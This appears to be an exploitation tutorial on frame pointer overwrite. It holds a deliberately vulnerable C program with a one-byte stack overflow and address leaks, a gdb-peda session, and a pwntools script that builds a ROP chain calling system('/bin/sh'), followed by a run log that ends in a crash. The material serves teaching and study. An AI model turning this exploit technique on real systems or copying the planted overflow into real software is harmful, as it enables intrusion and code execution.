//gcc -fno-stack-protector -o fpo fpo.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

void vuln(){
    char buf[32];
    printf("buf[32] address : %p\n",buf);
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 49);
}

void main(int argc, char *argv[]){
    if(argc<2){
        printf("argv error\n");
        exit(0);
    }
    vuln();
}

gdb-peda$ c
Continuing.

Breakpoint 3, 0x000000000040079c in main ()
gdb-peda$ i r rbp
rbp            0x7fffffffe447	0x7fffffffe447
gdb-peda$ x/2gx 0x7fffffffe447
0x7fffffffe447:	0x0000020000000000	0x000000004007a000
gdb-peda$ ni

0x000000000040079d in main ()
gdb-peda$ i r rsp
rsp            0x7fffffffe44f	0x7fffffffe44f
gdb-peda$ x/gx 0x7fffffffe44f
0x7fffffffe44f:	0x000000004007a000
gdb-peda$ x/gx 0x7fffffffe400
0x7fffffffe400:	0x4141414141414141
gdb-peda$ 

from pwn import *

p = process(['./fpo','AAAA'])

p.recvuntil('buf[32] address : ')
tmp = p.recvuntil('\n')
onebyte = int(tmp[12:14],16)

p.recvuntil('Printf() address : ')
libc = p.recvuntil('\n')
libc = int(libc,16)

libcBase = libc - 0x55800
sysAddr = libcBase + 0x45390
exit = libcBase + 0x3a030
binsh = libcBase + 0x18cd57
poprdi = 0x00400803 

print "Stack Addr : " + tmp
print "onebyte : " + hex(onebyte)
print "libc base : " + hex(libcBase)
print "system() : " +hex(sysAddr)
print "exit() : " +hex(exit)
print "binsh : " + hex(binsh)
 
exploit = '\x90' * 8 
exploit += p64(poprdi)
exploit += p64(binsh)
exploit += p64(sysAddr)
exploit += '\x90' * (48 - len(exploit))
exploit += p64(onebyte)
  
p.send(exploit)
p.interactive()

lazenca0x0@ubuntu:~/Exploit/FPO$ python Exploit.py 
[+] Starting local process './fpo': pid 7554
Stack Addr : 0x7ffff7e7c3b0

onebyte : 0xb0
libc base : 0x7fc5c5157000
system() : 0x7fc5c519c390
exit() : 0x7fc5c5191030
binsh : 0x7fc5c52e3d57
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Process './fpo' stopped with exit code -11 (SIGSEGV) (pid 7554)
lazenca0x0@ubuntu:~/Exploit/FPO$